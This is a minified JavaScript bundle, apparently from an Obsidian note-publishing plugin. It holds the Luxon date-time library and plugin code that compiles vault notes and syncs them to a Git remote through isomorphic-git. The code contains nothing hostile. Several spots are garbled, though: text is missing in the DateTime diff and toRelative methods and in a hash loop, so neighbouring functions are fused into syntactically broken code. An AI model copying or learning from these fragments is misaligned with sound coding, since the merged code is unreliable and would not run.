n=Gt.macroTokenToFormatOpts(t.val),r=lb(n,e);return r==null||r.includes(void 0)?t:r}function ob(t,e){return Array.prototype.concat(...t.map(n=>aq(n,e)))}var df=class{constructor(e,n){if(this.locale=e,this.format=n,this.tokens=ob(Gt.parseFormat(n),e),this.units=this.tokens.map(r=>eq(r,e)),this.disqualifyingUnit=this.units.find(r=>r.invalidReason),!this.disqualifyingUnit){let[r,i]=rq(this.units);this.regex=RegExp(r,"i"),this.handlers=i}}explainFromTokens(e){if(this.isValid){let[n,r]=iq(e,this.regex,this.handlers),[i,s,o]=r?sq(r):[null,null,void 0];if($s(r,"a")&&$s(r,"H"))throw new Kr("Can't include meridiem when specifying 24-hour format");return{input:e,tokens:this.tokens,regex:this.regex,rawMatches:n,matches:r,result:i,zone:s,specificOffset:o}}else return{input:e,tokens:this.tokens,invalidReason:this.invalidReason}}get isValid(){return!this.disqualifyingUnit}get invalidReason(){return this.disqualifyingUnit?this.disqualifyingUnit.invalidReason:null}};function ab(t,e,n){return new df(t,n).explainFromTokens(e)}function RC(t,e,n){let{result:r,zone:i,specificOffset:s,invalidReason:o}=ab(t,e,n);return[r,i,s,o]}function lb(t,e){if(!t)return null;let r=Gt.create(e,t).dtFormatter(oq()),i=r.formatToParts(),s=r.resolvedOptions();return i.map(o=>nq(o,t,s))}var cb="Invalid DateTime",zC=864e13;function mf(t){return new Wt("unsupported zone",`the zone "${t.name}" is not supported`)}function ub(t){return t.weekData===null&&(t.weekData=of(t.c)),t.weekData}function fb(t){return t.localWeekData===null&&(t.localWeekData=of(t.c,t.loc.getMinDaysInFirstWeek(),t.loc.getStartOfWeek())),t.localWeekData}function sa(t,e){let n={ts:t.ts,zone:t.zone,c:t.c,o:t.o,loc:t.loc,invalid:t.invalid};return new $e({...n,...e,old:n})}function VC(t,e,n){let r=t-e*60*1e3,i=n.offset(r);if(e===i)return[r,e];r-=(i-e)*60*1e3;let s=n.offset(r);return i===s?[r,i]:[t-Math.min(i,s)*60*1e3,Math.max(i,s)]}function Rm(t,e){t+=e*60*1e3;let n=new Date(t);return{year:n.getUTCFullYear(),month:n.getUTCMonth()+1,day:n.getUTCDate(),hour:n.getUTCHours(),minute:n.getUTCMinutes(),second:n.getUTCSeconds(),millisecond:n.getUTCMilliseconds()}}function Lm(t,e,n){return VC(Tl(t),e,n)}function LC(t,e){let n=t.o,r=t.c.year+Math.trunc(e.years),i=t.c.month+Math.trunc(e.months)+Math.trunc(e.quarters)*3,s={...t.c,year:r,month:i,day:Math.min(t.c.day,Al(r,i))+Math.trunc(e.days)+Math.trunc(e.weeks)*7},o=pt.fromObject({years:e.years-Math.trunc(e.years),quarters:e.quarters-Math.trunc(e.quarters),months:e.months-Math.trunc(e.months),weeks:e.weeks-Math.trunc(e.weeks),days:e.days-Math.trunc(e.days),hours:e.hours,minutes:e.minutes,seconds:e.seconds,milliseconds:e.milliseconds}).as("milliseconds"),a=Tl(s),[l,c]=VC(a,n,t.zone);return o!==0&&(l+=o,c=t.zone.offset(l)),{ts:l,o:c}}function Ul(t,e,n,r,i,s){let{setZone:o,zone:a}=n;if(t&&Object.keys(t).length!==0||e){let l=e||a,c=$e.fromObject(t,{...n,zone:l,specificOffset:s});return o?c:c.setZone(a)}else return $e.invalid(new Wt("unparsable",`the input "${i}" can't be parsed as ${r}`))}function zm(t,e,n=!0){return t.isValid?Gt.create(Qe.create("en-US"),{allowZ:n,forceSimple:!0}).formatDateTimeFromString(t,e):null}function hb(t,e){let n=t.c.year>9999||t.c.year<0,r="";return n&&t.c.year>=0&&(r+="+"),r+=mt(t.c.year,n?6:4),e?(r+="-",r+=mt(t.c.month),r+="-",r+=mt(t.c.day)):(r+=mt(t.c.month),r+=mt(t.c.day)),r}function BC(t,e,n,r,i,s){let o=mt(t.c.hour);return e?(o+=":",o+=mt(t.c.minute),(t.c.millisecond!==0||t.c.second!==0||!n)&&(o+=":")):o+=mt(t.c.minute),(t.c.millisecond!==0||t.c.second!==0||!n)&&(o+=mt(t.c.second),(t.c.millisecond!==0||!r)&&(o+=".",o+=mt(t.c.millisecond,3))),i&&(t.isOffsetFixed&&t.offset===0&&!s?o+="Z":t.o<0?(o+="-",o+=mt(Math.trunc(-t.o/60)),o+=":",o+=mt(Math.trunc(-t.o%60))):(o+="+",o+=mt(Math.trunc(t.o/60)),o+=":",o+=mt(Math.trunc(t.o%60)))),s&&(o+="["+t.zone.ianaName+"]"),o}var HC={month:1,day:1,hour:0,minute:0,second:0,millisecond:0},lq={weekNumber:1,weekday:1,hour:0,minute:0,second:0,millisecond:0},cq={ordinal:1,hour:0,minute:0,second:0,millisecond:0},WC=["year","month","day","hour","minute","second","millisecond"],uq=["weekYear","weekNumber","weekday","hour","minute","second","millisecond"],fq=["year","ordinal","hour","minute","second","millisecond"];function hq(t){let e={year:"year",years:"year",month:"month",months:"month",day:"day",days:"day",hour:"hour",hours:"hour",minute:"minute",minutes:"minute",quarter:"quarter",quarters:"quarter",second:"second",seconds:"second",millisecond:"millisecond",milliseconds:"millisecond",weekday:"weekday",weekdays:"weekday",weeknumber:"weekNumber",weeksnumber:"weekNumber",weeknumbers:"weekNumber",weekyear:"weekYear",weekyears:"weekYear",ordinal:"ordinal"}[t.toLowerCase()];if(!e)throw new Cl(t);return e}function $C(t){switch(t.toLowerCase()){case"localweekday":case"localweekdays":return"localWeekday";case"localweeknumber":case"localweeknumbers":return"localWeekNumber";case"localweekyear":case"localweekyears":return"localWeekYear";default:return hq(t)}}function dq(t){if(pf===void 0&&(pf=Ge.now()),t.type!=="iana")return t.offset(pf);let e=t.name,n=db.get(e);return n===void 0&&(n=t.offset(pf),db.set(e,n)),n}function UC(t,e){let n=Jr(e.zone,Ge.defaultZone);if(!n.isValid)return $e.invalid(mf(n));let r=Qe.fromObject(e),i,s;if(ye(t.year))i=Ge.now();else{for(let l of WC)ye(t[l])&&(t[l]=HC[l]);let o=K0(t)||Z0(t);if(o)return $e.invalid(o);let a=dq(n);[i,s]=Lm(t,a,n)}return new $e({ts:i,zone:n,loc:r,o:s})}function jC(t,e,n){let r=ye(n.round)?!0:n.round,i=(o,a)=>(o=Fl(o,r||n.calendary?0:2,!0),e.loc.clone(n).relFormatter(n).format(o,a)),s=o=>n.calendary?e.hasSame(t,o)?0:e.startOf(o).diff(t.startOf(o),o).get(o):e.diff(t,o).get(o);if(n.unit)return i(s(n.unit),n.unit);for(let o of n.units){let a=s(o);if(Math.abs(a)>=1)return i(a,o)}return i(t>e?-0:0,n.units[n.units.length-1])}function qC(t){let e={},n;return t.length>0&&typeof t[t.length-1]=="object"?(e=t[t.length-1],n=Array.from(t).slice(0,t.length-1)):n=Array.from(t),[e,n]}var pf,db=new Map,$e=class t{constructor(e){let n=e.zone||Ge.defaultZone,r=e.invalid||(Number.isNaN(e.ts)?new Wt("invalid input"):null)||(n.isValid?null:mf(n));this.ts=ye(e.ts)?Ge.now():e.ts;let i=null,s=null;if(!r)if(e.old&&e.old.ts===this.ts&&e.old.zone.equals(n))[i,s]=[e.old.c,e.old.o];else{let a=Xr(e.o)&&!e.old?e.o:n.offset(this.ts);i=Rm(this.ts,a),r=Number.isNaN(i.year)?new Wt("invalid input"):null,i=r?null:i,s=r?null:a}this._zone=n,this.loc=e.loc||Qe.create(),this.invalid=r,this.weekData=null,this.localWeekData=null,this.c=i,this.o=s,this.isLuxonDateTime=!0}static now(){return new t({})}static local(){let[e,n]=qC(arguments),[r,i,s,o,a,l,c]=n;return UC({year:r,month:i,day:s,hour:o,minute:a,second:l,millisecond:c},e)}static utc(){let[e,n]=qC(arguments),[r,i,s,o,a,l,c]=n;return e.zone=Ht.utcInstance,UC({year:r,month:i,day:s,hour:o,minute:a,second:l,millisecond:c},e)}static fromJSDate(e,n={}){let r=sC(e)?e.valueOf():NaN;if(Number.isNaN(r))return t.invalid("invalid input");let i=Jr(n.zone,Ge.defaultZone);return i.isValid?new t({ts:r,zone:i,loc:Qe.fromObject(n)}):t.invalid(mf(i))}static fromMillis(e,n={}){if(Xr(e))return e<-zC||e>zC?t.invalid("Timestamp out of range"):new t({ts:e,zone:Jr(n.zone,Ge.defaultZone),loc:Qe.fromObject(n)});throw new Dt(`fromMillis requires a numerical input, but received a ${typeof e} with value ${e}`)}static fromSeconds(e,n={}){if(Xr(e))return new t({ts:e*1e3,zone:Jr(n.zone,Ge.defaultZone),loc:Qe.fromObject(n)});throw new Dt("fromSeconds requires a numerical input")}static fromObject(e,n={}){e=e||{};let r=Jr(n.zone,Ge.defaultZone);if(!r.isValid)return t.invalid(mf(r));let i=Qe.fromObject(n),s=Ol(e,$C),{minDaysInFirstWeek:o,startOfWeek:a}=Q0(s,i),l=Ge.now(),c=ye(n.specificOffset)?r.offset(l):n.specificOffset,u=!ye(s.ordinal),f=!ye(s.year),h=!ye(s.month)||!ye(s.day),d=f||h,p=s.weekYear||s.weekNumber;if((d||u)&&p)throw new Kr("Can't mix weekYear/weekNumber units with year/month/day or ordinals");if(h&&u)throw new Kr("Can't mix ordinal dates with month/day");let g=p||s.weekday&&!d,y,w,b=Rm(l,c);g?(y=uq,w=lq,b=of(b,o,a)):u?(y=fq,w=cq,b=Nm(b)):(y=WC,w=HC);let S=!1;for(let A of y){let P=s[A];ye(P)?S?s[A]=w[A]:s[A]=b[A]:S=!0}let D=g?nC(s,o,a):u?rC(s):K0(s),k=D||Z0(s);if(k)return t.invalid(k);let E=g?W0(s,o,a):u?G0(s):s,[v,_]=Lm(E,c,r),C=new t({ts:v,zone:r,o:_,loc:i});return s.weekday&&d&&e.weekday!==C.weekday?t.invalid("mismatched weekday",`you can't specify both a weekday of ${s.weekday} and a date of ${C.toISO()}`):C.isValid?C:t.invalid(C.invalid)}static fromISO(e,n={}){let[r,i]=vC(e);return Ul(r,i,n,"ISO 8601",e)}static fromRFC2822(e,n={}){let[r,i]=kC(e);return Ul(r,i,n,"RFC 2822",e)}static fromHTTP(e,n={}){let[r,i]=xC(e);return Ul(r,i,n,"HTTP",n)}static fromFormat(e,n,r={}){if(ye(e)||ye(n))throw new Dt("fromFormat requires an input string and a format");let{locale:i=null,numberingSystem:s=null}=r,o=Qe.fromOpts({locale:i,numberingSystem:s,defaultToEN:!0}),[a,l,c,u]=RC(o,e,n);return u?t.invalid(u):Ul(a,l,r,`format ${n}`,e,c)}static fromString(e,n,r={}){return t.fromFormat(e,n,r)}static fromSQL(e,n={}){let[r,i]=EC(e);return Ul(r,i,n,"SQL",e)}static invalid(e,n=null){if(!e)throw new Dt("need to specify a reason the DateTime is invalid");let r=e instanceof Wt?e:new Wt(e,n);if(Ge.throwOnInvalid)throw new Dm(r);return new t({invalid:r})}static isDateTime(e){return e&&e.isLuxonDateTime||!1}static parseFormatForOpts(e,n={}){let r=lb(e,Qe.fromObject(n));return r?r.map(i=>i?i.val:null).join(""):null}static expandFormat(e,n={}){return ob(Gt.parseFormat(e),Qe.fromObject(n)).map(i=>i.val).join("")}static resetCache(){pf=void 0,db.clear()}get(e){return this[e]}get isValid(){return this.invalid===null}get invalidReason(){return this.invalid?this.invalid.reason:null}get invalidExplanation(){return this.invalid?this.invalid.explanation:null}get locale(){return this.isValid?this.loc.locale:null}get numberingSystem(){return this.isValid?this.loc.numberingSystem:null}get outputCalendar(){return this.isValid?this.loc.outputCalendar:null}get zone(){return this._zone}get zoneName(){return this.isValid?this.zone.name:null}get year(){return this.isValid?this.c.year:NaN}get quarter(){return this.isValid?Math.ceil(this.c.month/3):NaN}get month(){return this.isValid?this.c.month:NaN}get day(){return this.isValid?this.c.day:NaN}get hour(){return this.isValid?this.c.hour:NaN}get minute(){return this.isValid?this.c.minute:NaN}get second(){return this.isValid?this.c.second:NaN}get millisecond(){return this.isValid?this.c.millisecond:NaN}get weekYear(){return this.isValid?ub(this).weekYear:NaN}get weekNumber(){return this.isValid?ub(this).weekNumber:NaN}get weekday(){return this.isValid?ub(this).weekday:NaN}get isWeekend(){return this.isValid&&this.loc.getWeekendDays().includes(this.weekday)}get localWeekday(){return this.isValid?fb(this).weekday:NaN}get localWeekNumber(){return this.isValid?fb(this).weekNumber:NaN}get localWeekYear(){return this.isValid?fb(this).weekYear:NaN}get ordinal(){return this.isValid?Nm(this.c).ordinal:NaN}get monthShort(){return this.isValid?rs.months("short",{locObj:this.loc})[this.month-1]:null}get monthLong(){return this.isValid?rs.months("long",{locObj:this.loc})[this.month-1]:null}get weekdayShort(){return this.isValid?rs.weekdays("short",{locObj:this.loc})[this.weekday-1]:null}get weekdayLong(){return this.isValid?rs.weekdays("long",{locObj:this.loc})[this.weekday-1]:null}get offset(){return this.isValid?+this.o:NaN}get offsetNameShort(){return this.isValid?this.zone.offsetName(this.ts,{format:"short",locale:this.locale}):null}get offsetNameLong(){return this.isValid?this.zone.offsetName(this.ts,{format:"long",locale:this.locale}):null}get isOffsetFixed(){return this.isValid?this.zone.isUniversal:null}get isInDST(){return this.isOffsetFixed?!1:this.offset>this.set({month:1,day:1}).offset||this.offset>this.set({month:5}).offset}getPossibleOffsets(){if(!this.isValid||this.isOffsetFixed)return[this];let e=864e5,n=6e4,r=Tl(this.c),i=this.zone.offset(r-e),s=this.zone.offset(r+e),o=this.zone.offset(r-i*n),a=this.zone.offset(r-s*n);if(o===a)return[this];let l=r-o*n,c=r-a*n,u=Rm(l,o),f=Rm(c,a);return u.hour===f.hour&&u.minute===f.minute&&u.second===f.second&&u.millisecond===f.millisecond?[sa(this,{ts:l}),sa(this,{ts:c})]:[this]}get isInLeapYear(){return ra(this.year)}get daysInMonth(){return Al(this.year,this.month)}get daysInYear(){return this.isValid?Bs(this.year):NaN}get weeksInWeekYear(){return this.isValid?na(this.weekYear):NaN}get weeksInLocalWeekYear(){return this.isValid?na(this.localWeekYear,this.loc.getMinDaysInFirstWeek(),this.loc.getStartOfWeek()):NaN}resolvedLocaleOptions(e={}){let{locale:n,numberingSystem:r,calendar:i}=Gt.create(this.loc.clone(e),e).resolvedOptions(this);return{locale:n,numberingSystem:r,outputCalendar:i}}toUTC(e=0,n={}){return this.setZone(Ht.instance(e),n)}toLocal(){return this.setZone(Ge.defaultZone)}setZone(e,{keepLocalTime:n=!1,keepCalendarTime:r=!1}={}){if(e=Jr(e,Ge.defaultZone),e.equals(this.zone))return this;if(e.isValid){let i=this.ts;if(n||r){let s=e.offset(this.ts),o=this.toObject();[i]=Lm(o,s,e)}return sa(this,{ts:i,zone:e})}else return t.invalid(mf(e))}reconfigure({locale:e,numberingSystem:n,outputCalendar:r}={}){let i=this.loc.clone({locale:e,numberingSystem:n,outputCalendar:r});return sa(this,{loc:i})}setLocale(e){return this.reconfigure({locale:e})}set(e){if(!this.isValid)return this;let n=Ol(e,$C),{minDaysInFirstWeek:r,startOfWeek:i}=Q0(n,this.loc),s=!ye(n.weekYear)||!ye(n.weekNumber)||!ye(n.weekday),o=!ye(n.ordinal),a=!ye(n.year),l=!ye(n.month)||!ye(n.day),c=a||l,u=n.weekYear||n.weekNumber;if((c||o)&&u)throw new Kr("Can't mix weekYear/weekNumber units with year/month/day or ordinals");if(l&&o)throw new Kr("Can't mix ordinal dates with month/day");let f;s?f=W0({...of(this.c,r,i),...n},r,i):ye(n.ordinal)?(f={...this.toObject(),...n},ye(n.day)&&(f.day=Math.min(Al(f.year,f.month),f.day))):f=G0({...Nm(this.c),...n});let[h,d]=Lm(f,this.o,this.zone);return sa(this,{ts:h,o:d})}plus(e){if(!this.isValid)return this;let n=pt.fromDurationLike(e);return sa(this,LC(this,n))}minus(e){if(!this.isValid)return this;let n=pt.fromDurationLike(e).negate();return sa(this,LC(this,n))}startOf(e,{useLocaleWeeks:n=!1}={}){if(!this.isValid)return this;let r={},i=pt.normalizeUnit(e);switch(i){case"years":r.month=1;case"quarters":case"months":r.day=1;case"weeks":case"days":r.hour=0;case"hours":r.minute=0;case"minutes":r.second=0;case"seconds":r.millisecond=0;break;case"milliseconds":break}if(i==="weeks")if(n){let s=this.loc.getStartOfWeek(),{weekday:o}=this;othis.valueOf(),a=o?this:e,l=o?e:this,c=AC(a,l,s,i);return o?c.negate():c}diffNow(e="milliseconds",n={}){return this.diff(t.now(),e,n)}until(e){return this.isValid?ns.fromDateTimes(this,e):this}hasSame(e,n,r){if(!this.isValid)return!1;let i=e.valueOf(),s=this.setZone(e.zone,{keepLocalTime:!0});return s.startOf(n,r)<=i&&i<=s.endOf(n,r)}equals(e){return this.isValid&&e.isValid&&this.valueOf()===e.valueOf()&&this.zone.equals(e.zone)&&this.loc.equals(e.loc)}toRelative(e={}){if(!this.isValid)return null;let n=e.base||t.fromObject({},{zone:this.zone}),r=e.padding?thisn.valueOf(),Math.min)}static max(...e){if(!e.every(t.isDateTime))throw new Dt("max requires all arguments be DateTimes");return Y0(e,n=>n.valueOf(),Math.max)}static fromFormatExplain(e,n,r={}){let{locale:i=null,numberingSystem:s=null}=r,o=Qe.fromOpts({locale:i,numberingSystem:s,defaultToEN:!0});return ab(o,e,n)}static fromStringExplain(e,n,r={}){return t.fromFormatExplain(e,n,r)}static buildFormatParser(e,n={}){let{locale:r=null,numberingSystem:i=null}=n,s=Qe.fromOpts({locale:r,numberingSystem:i,defaultToEN:!0});return new df(s,e)}static fromFormatParser(e,n,r={}){if(ye(e)||ye(n))throw new Dt("fromFormatParser requires an input string and a format parser");let{locale:i=null,numberingSystem:s=null}=r,o=Qe.fromOpts({locale:i,numberingSystem:s,defaultToEN:!0});if(!o.equals(n.locale))throw new Dt(`fromFormatParser called with a locale of ${o}, but the format parser was created for ${n.locale}`);let{result:a,zone:l,specificOffset:c,invalidReason:u}=n.explainFromTokens(e);return u?t.invalid(u):Ul(a,l,r,`format ${n.format}`,e,c)}static get DATE_SHORT(){return Rs}static get DATE_MED(){return Lu}static get DATE_MED_WITH_WEEKDAY(){return D0}static get DATE_FULL(){return Bu}static get DATE_HUGE(){return $u}static get TIME_SIMPLE(){return Uu}static get TIME_WITH_SECONDS(){return ju}static get TIME_WITH_SHORT_OFFSET(){return qu}static get TIME_WITH_LONG_OFFSET(){return Vu}static get TIME_24_SIMPLE(){return Hu}static get TIME_24_WITH_SECONDS(){return Wu}static get TIME_24_WITH_SHORT_OFFSET(){return Gu}static get TIME_24_WITH_LONG_OFFSET(){return Qu}static get DATETIME_SHORT(){return Ku}static get DATETIME_SHORT_WITH_SECONDS(){return Zu}static get DATETIME_MED(){return Yu}static get DATETIME_MED_WITH_SECONDS(){return Ju}static get DATETIME_MED_WITH_WEEKDAY(){return E0}static get DATETIME_FULL(){return Xu}static get DATETIME_FULL_WITH_SECONDS(){return ef}static get DATETIME_HUGE(){return tf}static get DATETIME_HUGE_WITH_SECONDS(){return nf}};function $l(t){if($e.isDateTime(t))return t;if(t&&t.valueOf&&Xr(t.valueOf()))return $e.fromJSDate(t);if(t&&typeof t=="object")return $e.fromObject(t);throw new Dt(`Unknown datetime argument: ${t}, of type ${typeof t}`)}var Bm=class{file;frontmatter;settings;constructor(e,n,r){this.file=e,this.frontmatter=n,this.settings=r}getCreatedAt(){let e=this.settings.createdTimestampKey.split(",");for(let n of e){let r=this.frontmatter[n.trim()];if(r)return r}return $e.fromMillis(this.file.stat.ctime).toISO()}getUpdatedAt(){let e=this.settings.updatedTimestampKey.split(",");for(let n of e){let r=this.frontmatter[n.trim()];if(r)return r}return $e.fromMillis(this.file.stat.mtime).toISO()}getPublishedAt(){let e=this.settings.publishedTimestampKey.split(",");for(let n of e){let r=this.frontmatter[n.trim()];if(r)return r}return $e.fromMillis(this.file.stat.mtime).toISO()}};m();var GC=it(w0());function QC(t){if(/```dataview\s/ms.test(t)||/```datacorejs\s/ms.test(t)||/```datacorejsx\s/ms.test(t)||/```datacorets\s/ms.test(t)||/```datacoretsx\s/ms.test(t))return!0;let e=(0,GC.getAPI)();if(e){let n=e.settings.dataviewJsKeyword;if(new RegExp("```"+jr(n)+"\\s","ms").test(t))return!0;let i=e.settings.inlineQueryPrefix;if(new RegExp("`"+jr(i)+".+?`","ms").test(t))return!0;let o=e.settings.inlineJsQueryPrefix;if(new RegExp("`"+jr(o)+".+?`","ms").test(t))return!0}return!1}var oa=class{file;compiler;vault;compiledFile;metadataCache;frontmatter;settings;meta;datastore;constructor({file:e,compiler:n,metadataCache:r,vault:i,settings:s,datastore:o}){this.compiler=n,this.metadataCache=r,this.file=e,this.settings=s,this.vault=i,this.frontmatter=this.getFrontmatter(),this.datastore=o,this.meta=new Bm(e,this.frontmatter,s)}async compile(){let e;if(this.settings.useCache){let n=await this.datastore.loadLocalFile(this.file.path),r=n?await this.datastore.isLocalFileOutdated(this.file.path,this.file.stat.mtime):!0,i=null;if(n&&!r)i=n;else{let s=await this.vault.cachedRead(this.file),o=QC(s);if(i=await this.compiler.generateMarkdown(this),!i)throw new Error(`Failed to compile file: ${this.file.path}. Compiler returned null.`);let a=await nl(i[0]);await this.datastore.storeLocalFile(this.file.path,this.file.stat.mtime,i,o),await this.datastore.storeLocalHash(this.file.path,this.file.stat.mtime,a)}e=i}else e=await this.compiler.generateMarkdown(this);return new mb({file:this.file,compiler:this.compiler,metadataCache:this.metadataCache,vault:this.vault,settings:this.settings,datastore:this.datastore},e)}getType(){return this.file.name.endsWith(".excalidraw")||this.file.name.endsWith(".excalidraw.md")?"excalidraw":this.file.extension==="base"?"base":this.file.extension==="canvas"?"canvas":"markdown"}shouldPublish(){return this.file.extension==="base"?this.settings.useBases:this.file.extension==="canvas"?this.settings.useCanvas:this.file.name.endsWith(".excalidraw")||this.file.name.endsWith(".excalidraw.md")?this.settings.useExcalidraw:tl(this.settings.publishFrontmatterKey,this.frontmatter,this.settings.allNotesPublishableByDefault)}async getBlobLinks(){return this.compiler.extractBlobLinks(this)}async cachedRead(){return this.vault.cachedRead(this.file)}getMetadata(){return this.metadataCache.getCache(this.file.path)??{}}getBlock(e){return this.getMetadata().blocks?.[e]}getFrontmatter(){return this.metadataCache.getCache(this.file.path)?.frontmatter??{}}compare(e){return this.file.path.localeCompare(e.file.path)}getPath=()=>this.file.path;getVaultPath=()=>this.settings.vaultPath!=="/"&&this.file.path.startsWith(this.settings.vaultPath)?this.file.path.replace(this.settings.vaultPath,""):this.file.path;getCompiledFrontmatter(e){let n=!!this.settings.useDataview,r=new Sm(this.settings),i=this.metadataCache.getCache(this.file.path)?.frontmatter??{};if(n){let s=e.matchAll(Kx),o=e.matchAll(Zx);for(let a of s)a[1]&&a[2]&&(i[a[1]]=a[2]);for(let a of o)a[1]&&a[2]?i[a[1]]=a[2]:a[3]&&a[4]&&(i[a[3]]=a[4])}return r.compile(this,i)}},mb=class extends oa{compiledFile;remoteHash;constructor(e,n){super(e),this.compiledFile=n}getCompiledFile(){return this.compiledFile}setRemoteHash(e){this.remoteHash=e}};m();var le=it(UP()),SN=it(xN()),uh=require("obsidian"),DN=it(vt()),ot=DN.default.get("repository-connection");async function f7(t){if(!t)return;let e=[];for await(let s of t)e.push(s);let n=e.reduce((s,o)=>s+o.length,0),r=new Uint8Array(n),i=0;for(let s of e)r.set(s,i),i+=s.length;return r}var ch={async request(t){let{url:e,method:n="GET",headers:r={},body:i}=t;try{let s=await f7(i),o=await(0,uh.requestUrl)({url:e,method:n,headers:r,body:s?s.buffer:void 0,throw:!1}),a={};if(o.headers)for(let[u,f]of Object.entries(o.headers))a[u.toLowerCase()]=f;let l=new Uint8Array(o.arrayBuffer);async function*c(){yield l}return{url:e,method:n,headers:a,body:c(),statusCode:o.status,statusMessage:o.status>=200&&o.status<300?"OK":"Error"}}catch(s){throw ot.error("HTTP request failed",s),s}}},rt=class{remoteUrl;branch;corsProxyUrl;auth;fs=null;dir;contentFolder;vaultPath;initialized=!1;constructor({gitSettings:e,contentFolder:n,vaultPath:r}){this.remoteUrl=e.remoteUrl,this.branch=e.branch||"main",this.corsProxyUrl=e.corsProxyUrl||void 0,this.auth=e.auth,this.contentFolder=n,this.vaultPath=r,this.dir="/repo"}getFs(){if(!this.fs)try{let e=this.getFsName();this.fs=new SN.default(e)}catch(e){throw ot.error("Failed to initialize LightningFS",e),new Error("Failed to initialize filesystem. IndexedDB may not be available on this platform.")}return this.fs}getFsName(){return`quartz-syncer-${this.hashString(this.remoteUrl+this.branch)}`}hashString(e){let n=0;for(let r=0;r{if(this.auth.type!=="none")return this.auth.type==="bearer"?{username:"x-access-token",password:this.auth.secret||""}:{username:this.auth.username||"",password:this.auth.secret||""}}}async pushWithRetry(e=3){for(let n=0;n<=e;n++)try{await le.default.push({...this.getGitConfig(),url:this.remoteUrl,remote:"origin",ref:this.branch});return}catch(r){if(!(r instanceof Error&&(r.message.includes("401")||r.message.includes("403")||r.message.includes("429")||r.message.includes("5")))||n===e)throw r;let s=Math.pow(2,n)*1e3;ot.warn(`Push attempt ${n+1} failed, retrying in ${s}ms...`,r),await new Promise(o=>window.setTimeout(o,s))}}getGitConfig(){let e={fs:this.getFs(),http:ch,dir:this.dir};return this.corsProxyUrl&&(e.corsProxy=this.corsProxyUrl),this.auth.type!=="none"&&(e.onAuth=this.getOnAuth()),e}getRepositoryName(){try{return new URL(this.remoteUrl).pathname.replace(/^\//,"").replace(/\.git$/,"")}catch{return this.remoteUrl}}getRepositoryPath(e){let n=e.startsWith(this.contentFolder)?e.replace(this.contentFolder,""):e;return n.startsWith("/")?n.slice(1):n}getVaultPath(e){e=(0,uh.normalizePath)(e);let n=e.startsWith(this.vaultPath)?e.replace(this.vaultPath,""):e;return n.startsWith("/")?n.slice(1):n}setRepositoryPath(e){e=(0,uh.normalizePath)(e);let n=e.startsWith(this.contentFolder)?e:`${this.contentFolder}/${e}`;return n.startsWith("/")?n.slice(1):n}setVaultPath(e){let n=e.startsWith("/")?"":"/",r=e.startsWith(this.vaultPath)?e:`${this.vaultPath}${n}${e}`;return r.startsWith("/")?r.slice(1):r}repositoryToVaultPath(e){return this.setVaultPath(this.getRepositoryPath(e))}repositoryToRepositoryPath(e){return this.setRepositoryPath(this.getVaultPath(e))}async checkExistingRepo(){try{return await this.getFs().promises.stat(this.dir),(await le.default.listRemotes({...this.getGitConfig()})).length>0}catch{return!1}}async createDirIfNotExists(e){try{await this.getFs().promises.mkdir(e)}catch{ot.debug(`Directory ${e} already exists`)}}async ensureRepoInitialized(){if(this.initialized)return;if(await this.checkExistingRepo()){this.initialized=!0;return}ot.info(`Cloning repository ${this.getRepositoryName()}`),await this.createDirIfNotExists(this.dir);try{await le.default.clone({...this.getGitConfig(),url:this.remoteUrl,ref:this.branch,singleBranch:!0,depth:1,noCheckout:!1}),this.initialized=!0}catch(n){throw ot.error("Failed to clone repository",n),new Error(`Could not clone repository ${this.getRepositoryName()}: ${String(n)}`)}}async getContent(e){try{await this.ensureRepoInitialized(),await le.default.fetch({...this.getGitConfig(),url:this.remoteUrl,ref:this.branch,singleBranch:!0});let n=await le.default.resolveRef({...this.getGitConfig(),ref:`origin/${this.branch}`}),{commit:r}=await le.default.readCommit({...this.getGitConfig(),oid:n}),i=[],s=async(o,a="")=>{let{tree:l}=await le.default.readTree({...this.getGitConfig(),oid:o});for(let c of l){let u=a?`${a}/${c.path}`:c.path;i.push({path:u,oid:c.oid,type:c.type}),c.type==="tree"&&await s(c.oid,u)}};return await s(r.tree),{tree:i,sha:n,truncated:!1}}catch(n){throw ot.error("Could not get repository content",n),new Error(`Could not get files from repository ${this.getRepositoryName()}`)}}async getAllBlobContents(e){try{await this.ensureRepoInitialized();let n=`origin/${this.branch}`,r=new Map;return await le.default.walk({...this.getGitConfig(),trees:[le.default.TREE({ref:n})],map:async(i,[s])=>{if(!s||i===".")return;let o=await s.type();if(o==="tree")return e&&!e.startsWith(i)&&!i.startsWith(e)?void 0:i;if(o!=="blob"||e&&!i.startsWith(e))return;let a=await s.content();if(a){let l=new TextDecoder().decode(a);r.set(i,l)}return i}}),r}catch(n){throw ot.error("Could not bulk-read blob contents",n),new Error(`Could not bulk-read blob contents from repository ${this.getRepositoryName()}`)}}async getFile(e,n){e=this.setRepositoryPath(this.getVaultPath(this.getRepositoryPath(e))),ot.info(`Getting file ${e} from repository ${this.getRepositoryName()}`);try{await this.ensureRepoInitialized();let r=await le.default.resolveRef({...this.getGitConfig(),ref:`origin/${this.branch}`}),{blob:i,oid:s}=await le.default.readBlob({...this.getGitConfig(),oid:r,filepath:e});return{content:x.from(i).toString("base64"),sha:s,path:e,type:"file"}}catch(r){throw ot.error(`Could not get file ${e}`,r),new Error(`Could not get file ${e} from repository ${this.getRepositoryName()}`)}}async getRawFile(e){ot.info(`Getting raw file ${e} from repository ${this.getRepositoryName()}`);try{await this.ensureRepoInitialized();let n=await le.default.resolveRef({...this.getGitConfig(),ref:`origin/${this.branch}`}),{blob:r,oid:i}=await le.default.readBlob({...this.getGitConfig(),oid:n,filepath:e});return{content:x.from(r).toString("base64"),sha:i,path:e,type:"file"}}catch(n){throw ot.error(`Could not get raw file ${e}`,n),new Error(`Could not get file ${e} from repository ${this.getRepositoryName()}`)}}async listDirectory(e){try{await this.ensureRepoInitialized();let n=await le.default.resolveRef({...this.getGitConfig(),ref:`origin/${this.branch}`}),{commit:r}=await le.default.readCommit({...this.getGitConfig(),oid:n}),i=r.tree,s=e.split("/").filter(a=>a.length>0);for(let a of s){let{tree:l}=await le.default.readTree({...this.getGitConfig(),oid:i}),c=l.find(u=>u.path===a&&u.type==="tree");if(!c)return[];i=c.oid}let{tree:o}=await le.default.readTree({...this.getGitConfig(),oid:i});return o.map(a=>({name:a.path,type:a.type}))}catch(n){return ot.debug(`Could not list directory ${e}`,n),[]}}async getLatestCommit(){try{await this.ensureRepoInitialized(),await le.default.fetch({...this.getGitConfig(),url:this.remoteUrl,ref:this.branch,singleBranch:!0,depth:1});let e=await le.default.resolveRef({...this.getGitConfig(),ref:`origin/${this.branch}`}),{commit:n}=await 